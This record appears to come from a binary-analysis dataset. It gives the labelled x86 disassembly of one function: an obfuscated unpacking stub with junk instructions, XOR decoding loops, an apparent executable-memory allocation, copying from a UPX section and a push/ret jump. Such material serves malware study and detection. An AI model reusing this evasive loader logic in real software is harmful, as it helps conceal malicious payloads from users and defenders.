Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb396dd37
dec edx
sub edx, 0x1f4e9845
inc ebx
popal
add edx, 0xbb94ddf
mov ebx, edx
mov ebx, 0
mov ecx, eax
add edi, esi
not edi
and esi, edi
mov edx, ecx
inc esi
or esi, esi
mov eax, edx
mov esi, edi
mov edi, 0xd246d142
inc ebx
or esi, esi
sub esi, 1
cmp ebx, 0x100e878
jne 0xa789c8
sub esi, edi
and edi, esi
sub edi, 0x2f3da84a
mov edx, ebx
sub edx, 0x5e70398f
add edx, 0x412c5f69
mov ecx, 0xa78796
sub eax, 0x1a0c4fe
add edx, 0x594b2e4e
sub edi, 0x4a0006da
mov esi, 0xa7898a
add edi, 0x8b6f833e
mov eax, 0x4aaa24ef
mov ebx, dword [ecx]
mov edi, eax
add edx, 0x8d7cf448
add edi, 1
and ebx, 0xff
sub eax, 1
not edi
mov edx, eax
xor dword [esi], ebx
mov eax, 0xa5c3f33e
add eax, eax
inc esi
add edi, 0xbc5749f6
add eax, 0x67685221
inc ecx
or edi, eax
or edx, edi
cmp esi, entry0
jl 0xa78a32
mov eax, edi
dec edi
sub eax, 0xf192318e
dec edx
mov edx, 0x1d003b97
add ecx, 0x6a0e03c6
dec edi
mov esi, 0xa7898e
mov ebx, 0x5a7543e0
dec ebx
mov ebx, edi
mov esi, dword [esi]
dec edx
sub edi, 0x8bb4e2d2
add ecx, 0x57257f25
mov esi, dword [esi]
sub ebx, 0x23854e15
inc ecx
push esi
add ebx, 0xebcd0f9c
or ecx, ecx
sub edx, 0x264318a2
mov esi, 0xa7898a
sub ecx, 0xca8c16ef
dec ecx
sub edi, 1
mov esi, dword [esi]
not ecx
sub ecx, 0x918939fa
mov esi, dword [esi]
sub ecx, ebx
mov edx, edi
inc ebx
sub esp, 4
mov dword [esp], 0xa78992
sub edi, 0xd09da146
add edx, 0x5811398d
add ebx, edi
call esi
or ebx, ebx
sub edx, ebx
mov esi, dword [esp]
add esp, 4
sub edi, 1
add edx, 0x4e1dfb1e
mov ecx, 0xb0bca7bd
push 0xa7899f
not edx
mov edi, 0x87b0e322
add edi, ecx
push eax
not edi
add edi, 0xb2eda93f
or edx, ebx
call esi
mov edx, ecx
mov ecx, 0x109e297a
push 0x40
not edi
inc ebx
add ebx, ebx
sub esp, 4
mov dword [esp], 0x3000
and edx, edx
sub edi, ebx
push 0x20000f9b
and ebx, ebx
mov edx, edi
push 0
or edx, edi
sub ecx, 0x8427bfef
dec edx
call eax
dec ebx
mov ecx, 0x2959763b
dec edi
add eax, 0x20000ef9
and ebx, edi
dec edi
inc ebx
mov esi, 0x464a7888
sub ebx, 0x898ae77
sub ecx, 0x470678f6
mov dword [eax], esi
inc edi
inc ebx
dec ecx
mov esi, dword [eax]
mov edx, edi
dec edx
add edx, 0x99213f4f
cmp esi, 0x464a7888
je 0xa78baf
mov ecx, 0
mov byte [ecx], dl
add ebx, 0x861498f7
sub ebx, 1
not edx
inc ecx
add ecx, 1
dec edx
add edx, 0x5e65c165
mov edx, ebx
mov eax, section.UPX1
or ebx, ebx
not edx
mov esi, 0xa78795
dec edx
inc ebx
sub ebx, edx
mov ecx, 0
and ebx, edx
add ebx, 1
dec edx
mov edi, 0xa78796
mov edx, ebx
not edx
lea edi, [ecx + edi]
or edx, edx
mov ebx, 0x49025afd
or ebx, edx
mov edi, dword [edi]
or edx, ebx
add edx, 1
and edi, 0xff
mov ebx, 0xe455ee3d
mov edx, 0x639cb885
dec ebx
inc ecx
not edx
not edx
not edx
cmp ecx, 0x1f4
jne 0xa78c31
mov ecx, 0
not ebx
sub ebx, 0xd653f385
and ebx, edx
inc ebx
inc edx
xor dword [eax], edi
and ebx, ebx
or ebx, ebx
add eax, 2
add ebx, 0x14334c7c
inc ebx
cmp eax, esi
jl 0xa78bed
mov ebx, edx
mov ebx, 0x19613c0e
sub edx, 0x7377f2cd
not edx
inc edx
or edx, edx
mov ecx, section.UPX1
or esi, esi
sub esi, 0x9aea7f48
or edx, esi
mov edi, section.UPX1
sub edx, 0xb2ddacae
sub esi, 0xe73f1894
mov edx, 0xaac628bd
mov ebx, 0xa78795
mov esi, 0x9470a1f2
mov edx, esi
sub edx, 0x459b5a98
mov eax, 0
add edx, 0xe216589
sub edx, esi
add edx, 0x50a3a051
mov al, byte [edi]
mov esi, 0x634949b5
dec esi
mov byte [ecx], al
mov edx, 0x6d24b05a
add esi, 1
and edx, esi
inc ecx
add edx, 0xae00e951
inc esi
sub esi, edx
add edi, 2
and edx, esi
sub esi, edx
cmp edi, ebx
jle 0xa78cb4
dec esi
dec esi
or esi, esi
sub edx, 1
add edx, 0x561a6082
push 0x8dc6a0
sub edx, 0xb2295ba4
sub edx, ebx
ret